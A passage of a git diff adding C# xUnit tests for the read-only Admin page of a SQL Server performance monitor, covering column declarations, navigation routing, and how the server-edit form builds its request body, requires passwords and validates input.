+        var added = page.GetProperty("addedFormatted").GetString()!;
+        Assert.Contains("2026", added, StringComparison.Ordinal);
+        Assert.NotEqual("2026-01-02T00:00:00.0000000", added);
+        Assert.Contains(added, texts);
+        Assert.DoesNotContain("2026-01-02T00:00:00.0000000", texts);
+        // One row has no class and only the disabled one is grey.
+        var classes = page.GetProperty("rowClasses").EnumerateArray().Select(e => e.GetString()!).ToArray();
+        Assert.Equal(new[] { "", "band-Offline" }, classes);
+        Assert.Equal(1, classes.Count(c => c == "band-Offline"));
+        Assert.Contains("2 servers.", string.Join(" ", texts));
+        Assert.Equal("GET /api/admin/servers", Assert.Single(Reads(page)));
+    }
+
+    [Theory]
+    [InlineData("servers")]
+    [InlineData("routes")]
+    [InlineData("settings")]
+    public void NoRenderedText_CarriesASecretShapedField(string tab)
+    {
+        var texts = Texts(Tab("tab:" + tab));
+
+        Assert.NotEmpty(texts);
+        Assert.DoesNotContain(texts, t => t.Contains("SECRET", StringComparison.Ordinal));
+        Assert.DoesNotContain(texts, t => t.Contains("hooks.example.test", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void TheSettingsTab_DrawsOnlyTheFieldsItListsForAGroup_AndNeverTheStoresSecretNames()
+    {
+        var texts = Texts(Tab("tab:settings"));
+
+        // The Setting column shows a readable label (click-through 4d); the key rides in its tooltip.
+        Assert.Contains("CPU: threshold (%)", texts);
+        Assert.DoesNotContain(texts, t => t.Contains("UNLISTED", StringComparison.Ordinal));
+        Assert.DoesNotContain(texts, t => t.Contains("future_knob", StringComparison.Ordinal));
+        Assert.DoesNotContain(texts, t => t.Contains("slack_url", StringComparison.Ordinal) || t.Contains("pagerduty_routing_key", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void TheLongRunningQueryFilters_AreTheirOwnSection()
+    {
+        var texts = Texts(Tab("tab:settings"));
+
+        Assert.Contains("Alert thresholds", texts);
+        Assert.Contains("Long Running Query Filters", texts);
+        Assert.Contains("Long-running query: exclude backups", texts);
+        Assert.Contains("Long-running query: threshold (minutes)", texts);
+        Assert.True(Array.IndexOf(texts, "Long Running Query Filters") < Array.IndexOf(texts, "Long-running query: exclude backups"));
+        Assert.True(Array.IndexOf(texts, "Long-running query: threshold (minutes)") < Array.IndexOf(texts, "Long Running Query Filters"));
+    }
+
+    [Theory]
+    [InlineData("settings")]
+    [InlineData("servers")]
+    public void ARepaintOfTheTabOnScreen_KeepsItsBody_UntilTheReadLands(string tab)
+    {
+        var repaint = Tab("repaint:" + tab);
+
+        Assert.True(repaint.GetProperty("sameBody").GetBoolean());
+        Assert.False(repaint.GetProperty("loadingShown").GetBoolean());
+        Assert.True(repaint.GetProperty("rowsKept").GetBoolean());
+        // Stronger than the old check: the very row text is still on screen while the read is held, and again after it lands.
+        Assert.True(repaint.GetProperty("rowShown").GetBoolean());
+        Assert.True(repaint.GetProperty("rowAfter").GetBoolean());
+    }
+
+    [Fact]
+    public void TheRoutesTab_ShowsChannelNames_ButNeverADestination()
+    {
+        var texts = Texts(Tab("tab:routes"));
+
+        Assert.Contains("slack, pagerduty", texts);
+        Assert.Contains("ops@example.test", texts);
+    }
+}
diff --git a/Darling/Darling.Tests/AdminPageTests.cs b/Darling/Darling.Tests/AdminPageTests.cs
new file mode 100644
index 0000000000..e717b33b4c
--- /dev/null
+++ b/Darling/Darling.Tests/AdminPageTests.cs
@@ -0,0 +1,139 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the read-only Admin page: the three reads and their params, each tab's columns, the nav entry and the route.</summary>
+public sealed class AdminPageTests
+{
+    private static string Page() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "admin.js").ReplaceLineEndings("\n");
+
+    private static string Wwwroot(params string[] rest) =>
+        ReadRepoFile(new[] { "Darling", "PerformanceMonitor.Darling.Service", "wwwroot" }.Concat(rest).ToArray()).ReplaceLineEndings("\n");
+
+    [Theory]
+    [InlineData("get_notification_routes")]
+    [InlineData("get_alert_settings")]
+    public void ThePage_ReadsEachToolWithNoParams(string tool)
+    {
+        Assert.Contains("readTool(\"" + tool + "\", {})", Page());
+    }
+
+    [Fact]
+    public void TheServersTab_ReadsTheAdminRoute_NotListServers_AndDrawsDisabledRowsGrey()
+    {
+        var page = Page();
+        Assert.Contains("apiGet(\"/api/admin/servers\")", page);
+        Assert.DoesNotContain("list_servers", page);
+        Assert.Contains("rowClass: serverRowClass", page);
+        Assert.Contains("row.status === \"Disabled\"", page);
+    }
+
+    [Theory]
+    [InlineData("SERVER_COLUMNS", new[] { "display_name", "server_name", "auth", "engine", "version", "status", "freshness", "monthly_cost", "read_only", "added", "last_collected" })]
+    [InlineData("ROUTE_COLUMNS", new[] { "route_id", "enabled", "metric_match", "match_kind", "family", "channels", "smtp_recipients", "modified_at_utc" })]
+    [InlineData("SETTING_COLUMNS", new[] { "setting", "value" })]
+    public void EachTab_DeclaresItsColumnKeys(string name, string[] keys)
+    {
+        var page = Page();
+        var start = page.IndexOf("export const " + name + " = [", StringComparison.Ordinal);
+        Assert.True(start >= 0, name);
+        var block = page.Substring(start, page.IndexOf("];", start, StringComparison.Ordinal) - start);
+        var found = System.Text.RegularExpressions.Regex.Matches(block, "key: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToArray();
+        Assert.Equal(keys, found);
+    }
+
+    [Fact]
+    public void TheServersTab_CallsItsStatusColumnStatus_AndItsCollectionAgeFreshness_AsTheDesktopDoes()
+    {
+        var page = Page();
+        Assert.Contains("{ key: \"status\", label: \"Status\" }", page);
+        Assert.Contains("{ key: \"freshness\", label: \"Freshness\"", page);
+        Assert.Contains("{ key: \"auth\", label: \"Auth\" }", page);
+        Assert.Contains("label: \"Monthly Cost ($)\"", page);
+        Assert.Contains("{ key: \"added\", label: \"Added\", format: \"time\" }", page);
+        Assert.DoesNotContain("Not shown here", page);
+        Assert.Contains("label: \"Email to\"", page);
+        Assert.DoesNotContain("Email recipients", page);
+    }
+
+    [Fact]
+    public void TheSettingsTab_SplitsTheLongRunningQueryFilters_IntoTheirOwnSectionAfterAlertThresholds()
+    {
+        var page = Page();
+        var thresholds = page.IndexOf("title: \"Alert thresholds\"", StringComparison.Ordinal);
+        var filters = page.IndexOf("title: \"Long Running Query Filters\"", StringComparison.Ordinal);
+        var bands = page.IndexOf("title: \"Health bands\"", StringComparison.Ordinal);
+        Assert.True(thresholds >= 0 && filters > thresholds && bands > filters);
+    }
+
+    [Fact]
+    public void EveryTopLevelKeyOfTheAlertSettingsPayload_IsOnThePage()
+    {
+        var source = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpAlertTools.cs").ReplaceLineEndings("\n");
+        var start = source.IndexOf("private static object BuildAlertSettingsPayload(", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var open = source.IndexOf("=> new\n    {\n", start, StringComparison.Ordinal) + "=> new\n    {\n".Length;
+        var close = source.IndexOf("\n    };", open, StringComparison.Ordinal);
+        Assert.True(open > 0 && close > open);
+        // Top-level members sit at exactly eight spaces; nested members and comment text sit deeper or start with a comment mark.
+        var keys = System.Text.RegularExpressions.Regex.Matches(source.Substring(open, close - open), "^ {8}([a-z_]+) = ", System.Text.RegularExpressions.RegexOptions.Multiline)
+            .Select(m => m.Groups[1].Value).ToArray();
+        Assert.True(keys.Length >= 24, "the payload parse found only " + keys.Length + " keys");
+
+        var page = Page();
+        var start2 = page.IndexOf("export const SETTING_SECTIONS = [", StringComparison.Ordinal);
+        var block = page.Substring(start2, page.IndexOf("\n];", start2, StringComparison.Ordinal) - start2);
+        var shown = System.Text.RegularExpressions.Regex.Matches(block, "\"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToHashSet();
+        foreach (var k in keys) Assert.True(shown.Contains(k), "the Admin page's settings sections do not list the payload key '" + k + "'");
+
+        // The per-group allow-list covers every group the sections name.
+        var gstart = page.IndexOf("export const GROUP_FIELDS = {", StringComparison.Ordinal);
+        var gblock = page.Substring(gstart, page.IndexOf("\n};", gstart, StringComparison.Ordinal) - gstart);
+        foreach (var g in System.Text.RegularExpressions.Regex.Matches(block, "groups: \\[([^\\]]*)\\]").SelectMany(m => System.Text.RegularExpressions.Regex.Matches(m.Groups[1].Value, "\"([a-z_]+)\"")).Select(m => m.Groups[1].Value))
+            Assert.Contains("  " + g + ": [", gblock);
+    }
+
+    [Fact]
+    public void ThePage_OffersNoWriteCall()
+    {
+        var page = Page();
+        Assert.DoesNotContain("apiSend", page);
+        Assert.DoesNotContain("innerHTML", page);
+        Assert.DoesNotContain("fetch(", page);
+    }
+
+    [Fact]
+    public void TheNav_HasOneAdminEntry_RightAfterAlertRules()
+    {
+        var html = Wwwroot("index.html");
+        var rules = html.IndexOf("<a data-route=\"alert-rules\" href=\"#/alert-rules\">Alert Rules</a>", StringComparison.Ordinal);
+        var admin = html.IndexOf("<a data-route=\"admin\" href=\"#/admin\">Admin</a>", StringComparison.Ordinal);
+        Assert.True(rules >= 0 && admin > rules);
+        Assert.StartsWith("\n          <a data-route=\"admin\"", html.Substring(html.IndexOf("</a>", rules, StringComparison.Ordinal) + 4));
+        Assert.Single(System.Text.RegularExpressions.Regex.Matches(html, "data-route=\"admin\""));
+    }
+
+    [Fact]
+    public void TheRouter_RoutesAdminRightAfterTheAlertRuleRoutes_AndRenders()
+    {
+        var app = Wwwroot("js", "app.js");
+        Assert.Contains("import { renderAdmin } from \"./pages/admin.js\";", app);
+        var editor = app.IndexOf("if (h.startsWith(\"#/alert-rule/\")) return", StringComparison.Ordinal);
+        var admin = app.IndexOf("if (h === \"#/admin\" || h.startsWith(\"#/admin/\")) return { name: \"admin\"", StringComparison.Ordinal);
+        Assert.True(editor >= 0 && admin > editor);
+        Assert.DoesNotContain("\n  if (h.startsWith", app.Substring(editor + 10, admin - editor - 10));
+        Assert.Contains("else if (r.name === \"admin\") renderAdmin(main, r.tab);", app);
+    }
+}
diff --git a/Darling/Darling.Tests/AdminServerEditBehaviourTests.cs b/Darling/Darling.Tests/AdminServerEditBehaviourTests.cs
new file mode 100644
index 0000000000..32031ee0d5
--- /dev/null
+++ b/Darling/Darling.Tests/AdminServerEditBehaviourTests.cs
@@ -0,0 +1,1668 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Admin page's server edit (#5240) run under Node (<c>admin-server-edit-harness.mjs</c>). The facts ending in
+/// <c>_Pure</c> call one export of the shipped <c>admin.js</c> at a time (the body, password and probe rules, the answer
+/// table, the form values, the validation sentences, the conflict lines); the flow facts that drive the page through its
+/// form are added beside them with the same names minus the suffix. The frame facts prove the harness itself: the
+/// read-only Servers tab drawn through the real grid, and the fake DOM's focus model. Skipped when Node is not installed.
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class AdminServerEditBehaviourTests
+{
+    private const string Token = "2026-01-02T03:04:05.1234567Z";
+
+    private const string PasswordNeeded =
+        "Changing how this server is reached needs its password again: it is stored encrypted and this surface cannot read it back.";
+
+    internal static JsonElement Run(string scenario, string? stdin = null)
+    {
+        var psi = new ProcessStartInfo("node")
+        {
+            RedirectStandardOutput = true,
+            RedirectStandardError = true,
+            RedirectStandardInput = stdin is not null,
+            StandardOutputEncoding = Encoding.UTF8,
+            UseShellExecute = false,
+        };
+        if (stdin is not null)
+        {
+            psi.StandardInputEncoding = new UTF8Encoding(false);
+        }
+
+        // The grid's time cells follow the machine's zone; the harness pins UTC itself and so does the process it runs in.
+        psi.Environment["TZ"] = "UTC";
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "admin-server-edit-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            if (stdin is not null)
+            {
+                proc.StandardInput.Write(stdin);
+                proc.StandardInput.Close();
+            }
+
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(30000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the admin server edit harness did not finish in 30 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the admin server edit harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    // One call of an admin.js export; the result is JSON null when the export answers null.
+    private static JsonElement Pure(string fn, params object?[] args) =>
+        Run("pure", JsonSerializer.Serialize(new { fn, args })).GetProperty("result");
+
+    // A table of calls answered by one Node process.
+    private static JsonElement[] PureAll(params (string Fn, object?[] Args)[] calls) =>
+        Run("pure", JsonSerializer.Serialize(new { calls = calls.Select(c => new { fn = c.Fn, args = c.Args }) }))
+            .GetProperty("results").EnumerateArray().ToArray();
+
+    // The form's values for one kind of server, shaped as editFormValues returns them (the engine rides along).
+    private static JsonObject Base(string kind)
+    {
+        var form = JsonNode.Parse("""{"engine":"sqlserver","host":"sql-a","display_name":"Orders","port":"","auth":"Windows","username":"","encrypt_mode":"Mandatory","trust_server_certificate":false,"database":"","read_only_intent":false,"multi_subnet_failover":false,"monthly_cost_usd":"100"}""")!.AsObject();
+        switch (kind)
+        {
+            case "windows":
+                break;
+            case "sql":
+                form["auth"] = "SQL";
+                form["username"] = "sa";
+                break;
+            case "sp":
+                form["auth"] = "ServicePrincipal";
+                form["username"] = "11111111-1111-1111-1111-111111111111";
+                break;
+            case "managed":
+                form["auth"] = "ManagedIdentity";
+                break;
+            case "postgres":
+                form["engine"] = "postgres";
+                form["host"] = "pg-a";
+                form["port"] = "5433";
+                form["auth"] = "SQL";
+                form["username"] = "pgmon";
+                break;
+            default:
+                throw new ArgumentOutOfRangeException(nameof(kind), kind, null);
+        }
+
+        return form;
+    }
+
+    // What the form holds after the user's changes: the base with the named fields overwritten.
+    private static JsonObject Edited(string kind, string overrides)
+    {
+        var form = Base(kind);
+        foreach (var pair in JsonNode.Parse(overrides)!.AsObject().ToList())
+        {
+            form[pair.Key] = pair.Value?.DeepClone();
+        }
+
+        return form;
+    }
+
+    private static string Expand(string json) => json.Replace("TOKEN", Token, StringComparison.Ordinal);
+
+    // ------------------------------------------------------------------ T2: the body
+
+    [Theory]
+    // A name-only edit sends exactly the name and the token.
+    [InlineData("windows", """{"display_name":"Payments"}""", "", """{"display_name":"Payments","expected_modified_at":"TOKEN"}""")]
+    // Nothing differs and no password is typed: no body, so no request.
+    [InlineData("windows", """{}""", "", "null")]
+    [InlineData("postgres", """{}""", "", "null")]
+    // Text is trimmed before it is compared, so spaces alone change nothing.
+    [InlineData("windows", """{"host":"  sql-a ","display_name":"Orders  "}""", "", "null")]
+    // A typed cost goes as a number; the same number spelled differently is no change; one that is not a number is not sent.
+    [InlineData("windows", """{"monthly_cost_usd":"250.50"}""", "", """{"monthly_cost_usd":250.5,"expected_modified_at":"TOKEN"}""")]
+    [InlineData("windows", """{"monthly_cost_usd":"100.00"}""", "", "null")]
+    [InlineData("windows", """{"display_name":"Payments","monthly_cost_usd":"12abc"}""", "", """{"display_name":"Payments","expected_modified_at":"TOKEN"}""")]
+    // SQL Server never sends port, even when the box holds a different one.
+    [InlineData("windows", """{"port":"1433"}""", "", "null")]
+    [InlineData("windows", """{"display_name":"Payments","port":"1433"}""", "", """{"display_name":"Payments","expected_modified_at":"TOKEN"}""")]
+    // Encryption is compared ignoring case; a real change is sent.
+    [InlineData("windows", """{"encrypt_mode":"mandatory"}""", "", "null")]
+    [InlineData("windows", """{"encrypt_mode":"Strict"}""", "", """{"encrypt_mode":"Strict","expected_modified_at":"TOKEN"}""")]
+    // Booleans are sent only when they differ.
+    [InlineData("windows", """{"trust_server_certificate":true,"multi_subnet_failover":true,"read_only_intent":true}""", "", """{"trust_server_certificate":true,"read_only_intent":true,"multi_subnet_failover":true,"expected_modified_at":"TOKEN"}""")]
+    [InlineData("windows", """{"database":"Sales"}""", "", """{"database":"Sales","expected_modified_at":"TOKEN"}""")]
+    // A SQL host change goes with the password; a password alone rotates the secret.
+    [InlineData("sql", """{"host":"sql-b"}""", "typed", """{"host":"sql-b","password":"typed","expected_modified_at":"TOKEN"}""")]
+    [InlineData("sql", """{}""", "typed", """{"password":"typed","expected_modified_at":"TOKEN"}""")]
+    [InlineData("sp", """{}""", "secret", """{"password":"secret","expected_modified_at":"TOKEN"}""")]
+    // Windows and managed identity store no secret, so a typed password is never sent, alone or with a change.
+    [InlineData("windows", """{"host":"sql-b"}""", "typed", """{"host":"sql-b","expected_modified_at":"TOKEN"}""")]
+    [InlineData("windows", """{}""", "typed", "null")]
+    [InlineData("managed", """{}""", "typed", "null")]
+    // A switch of auth: into SQL or ServicePrincipal it carries the username and the password.
+    [InlineData("windows", """{"auth":"SQL","username":"sa"}""", "typed", """{"auth":"SQL","username":"sa","password":"typed","expected_modified_at":"TOKEN"}""")]
+    [InlineData("windows", """{"auth":"ServicePrincipal","username":"app-id"}""", "secret", """{"auth":"ServicePrincipal","username":"app-id","password":"secret","expected_modified_at":"TOKEN"}""")]
+    // The service drops the old username on a switch, so the username is sent even when its text did not change.
+    [InlineData("sql", """{"auth":"ManagedIdentity"}""", "", """{"auth":"ManagedIdentity","username":"sa","expected_modified_at":"TOKEN"}""")]
+    [InlineData("sql", """{"auth":"ManagedIdentity","username":""}""", "", """{"auth":"ManagedIdentity","username":null,"expected_modified_at":"TOKEN"}""")]
+    // A switch to Windows sends no username (the service drops it) and no password, even if one was typed.
+    [InlineData("sql", """{"auth":"Windows"}""", "typed", """{"auth":"Windows","expected_modified_at":"TOKEN"}""")]
+    // PostgreSQL: no auth whatever the form says; a blank port is sent as 0 (the default); an invalid port is not sent.
+    [InlineData("postgres", """{"display_name":"Payments"}""", "", """{"display_name":"Payments","expected_modified_at":"TOKEN"}""")]
+    [InlineData("postgres", """{"auth":"Windows","display_name":"Payments"}""", "", """{"display_name":"Payments","expected_modified_at":"TOKEN"}""")]
+    [InlineData("postgres", """{"port":""}""", "", """{"port":0,"expected_modified_at":"TOKEN"}""")]
+    [InlineData("postgres", """{"port":"5434"}""", "typed", """{"port":5434,"password":"typed","expected_modified_at":"TOKEN"}""")]
+    [InlineData("postgres", """{"port":"abc","display_name":"Payments"}""", "", """{"display_name":"Payments","expected_modified_at":"TOKEN"}""")]
+    [InlineData("postgres", """{"host":"pg-b"}""", "typed", """{"host":"pg-b","password":"typed","expected_modified_at":"TOKEN"}""")]
+    public void TheEditBody_CarriesOnlyChangedEditableFields_AndTheToken_Pure(string kind, string changes, string password, string expected)
+    {
+        var body = Pure("buildEditBody", Base(kind), Edited(kind, changes), Token, password);
+
+        Assert.Equal(Expand(expected), body.GetRawText());
+    }
+
+    [Fact]
+    public void TheEditBody_NeverCarriesAKeyOutsideTheEditableFields_AndTheTokenIsLast_Pure()
+    {
+        var values = Edited("windows", """{"display_name":"Payments","server_id":99,"engine":"postgres","is_enabled":false,"excluded_databases":"x","capture_plans":true,"alert_delivery_mode_override":"x","plan_force_bot_enabled":true,"remediation_mode":"x","modified_at":"y"}""");
+
+        var body = Pure("buildEditBody", Base("windows"), values, Token, "");
+
+        Assert.Equal(new[] { "display_name", "expected_modified_at" }, body.EnumerateObject().Select(p => p.Name).ToArray());
+    }
+
+    [Fact]
+    public void TheEditBody_SendsABlankedDatabaseAsNull_AndEveryChangedFieldInFormOrder_Pure()
+    {
+        var original = Base("sql");
+        original["database"] = "Sales";
+        var values = Edited("sql", """{"database":" ","host":"sql-b","display_name":"Payments","monthly_cost_usd":"5","username":"app","trust_server_certificate":true}""");
+
+        var body = Pure("buildEditBody", original, values, Token, "typed");
+
+        Assert.Equal(
+            Expand("""{"host":"sql-b","display_name":"Payments","username":"app","trust_server_certificate":true,"database":null,"monthly_cost_usd":5,"password":"typed","expected_modified_at":"TOKEN"}"""),
+            body.GetRawText());
+    }
+
+    // ------------------------------------------------------------------ T3: the password
+
+    [Theory]
+    // Required: a SQL or ServicePrincipal server whose connection changes, however it changes, and a switch into either.
+    [InlineData("sql", """{"host":"sql-b"}""", true)]
+    [InlineData("sql", """{"database":"Sales"}""", true)]
+    [InlineData("sql", """{"username":"sa2"}""", true)]
+    [InlineData("sql", """{"encrypt_mode":"Strict"}""", true)]
+    [InlineData("sql", """{"trust_server_certificate":true}""", true)]
+    [InlineData("sql", """{"read_only_intent":true}""", true)]
+    [InlineData("sql", """{"multi_subnet_failover":true}""", true)]
+    [InlineData("windows", """{"auth":"SQL","username":"sa"}""", true)]
+    [InlineData("windows", """{"auth":"ServicePrincipal","username":"app-id"}""", true)]
+    [InlineData("managed", """{"auth":"SQL","username":"sa"}""", true)]
+    [InlineData("sp", """{"username":"22222222-2222-2222-2222-222222222222"}""", true)]
+    [InlineData("postgres", """{"host":"pg-b"}""", true)]
+    [InlineData("postgres", """{"port":"5434"}""", true)]
+    [InlineData("postgres", """{"port":""}""", true)]
+    // Not required: a name or cost alone, a change of case or spacing, Windows and managed identity, a switch out of a secret auth.
+    [InlineData("sql", """{"display_name":"Payments"}""", false)]
+    [InlineData("sql", """{"monthly_cost_usd":"250"}""", false)]
+    [InlineData("sql", """{"encrypt_mode":"mandatory"}""", false)]
+    [InlineData("sql", """{"host":" sql-a "}""", false)]
+    [InlineData("sp", """{"display_name":"Payments"}""", false)]
+    [InlineData("postgres", """{"display_name":"Payments"}""", false)]
+    [InlineData("postgres", """{"port":"5433"}""", false)]
+    [InlineData("windows", """{"host":"sql-b","database":"Sales","trust_server_certificate":true}""", false)]
+    [InlineData("managed", """{"host":"sql-b","database":"Sales"}""", false)]
+    [InlineData("sql", """{"auth":"Windows"}""", false)]
+    [InlineData("sql", """{"auth":"ManagedIdentity"}""", false)]
+    public void ThePassword_IsRequiredExactlyWhenTheRulesSay_Pure(string kind, string changes, bool expected)
+    {
+        var required = Pure("passwordRequired", Base(kind), Edited(kind, changes));
+
+        Assert.Equal(expected, required.GetBoolean());
+    }
+
+    [Theory]
+    [InlineData("windows", false)]
+    [InlineData("managed", false)]
+    [InlineData("sql", true)]
+    [InlineData("sp", true)]
+    [InlineData("postgres", true)]
+    public void ThePassword_IsSentOnlyWhenTheAuthStoresASecret_Pure(string kind, bool sent)
+    {
+        var body = Pure("buildEditBody", Base(kind), Edited(kind, """{"host":"somewhere-else"}"""), Token, "typed");
+
+        Assert.Equal(sent, body.TryGetProperty("password", out _));
+    }
+
+    [Theory]
+    // Required and blank: the service's own sentence, "Switching to ..." when the auth changes and the "again" sentence otherwise.
+    [InlineData("sql", """{"host":"sql-b"}""", "", PasswordNeeded)]
+    [InlineData("sp", """{"database":"Sales"}""", "", PasswordNeeded)]
+    [InlineData("postgres", """{"host":"pg-b"}""", "", PasswordNeeded)]
+    [InlineData("windows", """{"auth":"SQL","username":"sa"}""", "", "Switching to SQL authentication needs the password.")]
+    [InlineData("managed", """{"auth":"SQL","username":"sa"}""", "", "Switching to SQL authentication needs the password.")]
+    [InlineData("windows", """{"auth":"ServicePrincipal","username":"app-id"}""", "", "Switching to ServicePrincipal authentication needs the client secret as password.")]
+    // Typed, or not required: nothing stops the save.
+    [InlineData("sql", """{"host":"sql-b"}""", "typed", null)]
+    [InlineData("windows", """{"auth":"SQL","username":"sa"}""", "typed", null)]
+    [InlineData("windows", """{"host":"sql-b"}""", "", null)]
+    [InlineData("sql", """{"display_name":"Payments"}""", "", null)]
+    public void AMissingRequiredPassword_IsRefusedWithTheServicesSentence_Pure(string kind, string changes, string password, string? expected)
+    {
+        var sentence = Pure("validateEdit", Base(kind), Edited(kind, changes), password);
+
+        Assert.Equal(expected, sentence.ValueKind == JsonValueKind.Null ? null : sentence.GetString());
+    }
+
+    [Theory]
+    // The order the form's fields run in: the first failing rule wins.
+    [InlineData("windows", """{"host":"  "}""", "", "Server name is required.")]
+    [InlineData("postgres", """{"host":"","port":"abc","username":""}""", "", "Server name is required.")]
+    [InlineData("postgres", """{"port":"abc","username":""}""", "typed", "Port must be between 1 and 65535, or blank for the default (5432).")]
+    [InlineData("postgres", """{"port":"0"}""", "typed", "Port must be between 1 and 65535, or blank for the default (5432).")]
+    [InlineData("postgres", """{"port":"65536"}""", "typed", "Port must be between 1 and 65535, or blank for the default (5432).")]
+    [InlineData("postgres", """{"port":"","username":" "}""", "typed", "Username is required for SQL Server authentication.")]
+    [InlineData("sql", """{"username":" ","monthly_cost_usd":"x"}""", "typed", "Username is required for SQL Server authentication.")]
+    [InlineData("sp", """{"username":""}""", "typed", "The Application (client) ID is required for service-principal authentication.")]
+    [InlineData("windows", """{"auth":"SQL","username":"","monthly_cost_usd":"x"}""", "", "Username is required for SQL Server authentication.")]
+    [InlineData("sql", """{"host":"sql-b","monthly_cost_usd":"x"}""", "", PasswordNeeded)]
+    [InlineData("windows", """{"monthly_cost_usd":"-5"}""", "", "Monthly cost must be a number, zero or more.")]
+    [InlineData("sql", """{"monthly_cost_usd":"1,234"}""", "", "Monthly cost must be a number, zero or more.")]
+    // A Windows form needs no username, and a good edit says nothing.
+    [InlineData("windows", """{"username":"","display_name":"Payments"}""", "", null)]
+    [InlineData("postgres", """{"display_name":"Payments"}""", "", null)]
+    [InlineData("managed", """{"host":"sql-b"}""", "", null)]
+    public void TheClientChecks_GiveTheFirstSentenceInTheDocumentedOrder_Pure(string kind, string changes, string password, string? expected)
+    {
+        var sentence = Pure("validateEdit", Base(kind), Edited(kind, changes), password);
+
+        Assert.Equal(expected, sentence.ValueKind == JsonValueKind.Null ? null : sentence.GetString());
+    }
+
+    // ------------------------------------------------------------------ T13: the token, the probe and the answers
+
+    [Fact]
+    public void TheTokenRoundTripsVerbatim_AndInterpretEditBranchesOnStatusWords_Pure()
+    {
+        // The token goes out exactly as the read gave it: microseconds, trailing zeros, odd spacing and all, and always last.
+        foreach (var token in new[] { Token, "2026-01-02T03:04:05.1230000Z", "2026-01-02T03:04:05.0000001+00:00", " as-is " })
+        {
+            var body = Pure("buildEditBody", Base("windows"), Edited("windows", """{"display_name":"Payments","monthly_cost_usd":"7"}"""), token, "");
+            Assert.Equal(token, body.GetProperty("expected_modified_at").GetString());
+            Assert.Equal("expected_modified_at", body.EnumerateObject().Last().Name);
+        }
+
+        // A missing token is sent as null, which the service refuses by name, never dropped (that would skip the stale check).
+        var missing = Pure("buildEditBody", Base("windows"), Edited("windows", """{"display_name":"Payments"}"""), null, "");
+        Assert.Equal(JsonValueKind.Null, missing.GetProperty("expected_modified_at").ValueKind);
+
+        var results = PureAll(Answers.Select(a => ("interpretEdit", new object?[] { a.Status, a.Body is null ? null : JsonNode.Parse(a.Body), a.Message })).ToArray());
+        for (var i = 0; i < Answers.Length; i++)
+        {
+            var actual = JsonNode.Parse(results[i].GetRawText());
+            Assert.True(JsonNode.DeepEquals(JsonNode.Parse(Answers[i].Expected), actual), Answers[i].Name + ": got " + results[i].GetRawText());
+        }
+    }
+
+    private const string UnexpectedAnswer = "The service gave an answer this page does not understand, so it is not known whether anything was saved. Your entries are kept; check the server list before saving again.";
+
+    [Fact]
+    public void OnlyTheTransportsExpiredFlag_OrA401_ClosesTheFormAsAnExpiredSession()
+    {
+        var results = PureAll(
+            ("interpretEdit", new object?[] { 200, null, null, true }),
+            ("interpretEdit", new object?[] { 200, JsonNode.Parse("[]"), null, true }),
+            ("interpretEdit", new object?[] { 200, JsonNode.Parse("[]"), null, false }));
+        Assert.Equal("expired", results[0].GetProperty("kind").GetString());
+        Assert.True(results[0].GetProperty("close").GetBoolean());
+        Assert.Equal("expired", results[1].GetProperty("kind").GetString());
+        Assert.Equal("unexpected", results[2].GetProperty("kind").GetString());
+        Assert.False(results[2].GetProperty("close").GetBoolean());
+    }
+
+    // #5356: a 200 whose body is JSON but not an object (an array, a string, null) is not a sign-in page, so the shell is not told and
+    // the form stays open with its typed entries and a sentence; the real expiry (a body that is no JSON at all) still closes it.
+    [Theory]
+    [InlineData("jsonArray")]
+    [InlineData("jsonString")]
+    [InlineData("jsonNull")]
+    public void AJsonAnswerThatIsNotAnObject_KeepsTheFormOpenWithASentence(string kind)
+    {
+        var page = Run("save:" + kind);
+        var after = page.GetProperty("after");
+
+        Assert.Empty(page.GetProperty("expired").EnumerateArray());
+        Assert.Equal(1, after.GetProperty("forms").GetInt32());
+        Assert.Equal(new[] { UnexpectedAnswer }, Lines(after, "banner"));
+        Assert.Equal("Alpha Two", page.GetProperty("form").GetProperty("values").GetProperty("display_name").GetString());
+        Assert.False(after.GetProperty("saveDisabled").GetBoolean());
+    }
+
+    private static readonly (string Name, int Status, string? Body, string? Message, string Expected)[] Answers =
+    [
+        ("no answer at all shows the transport's message", 0, null, "Network error: connection refused",
+            """{"kind":"network","close":false,"reread":false,"banner":"Network error: connection refused"}"""),
+        ("a 401 is an expired session", 401, """{"error":"sign in"}""", null, """{"kind":"expired","close":true,"reread":false}"""),
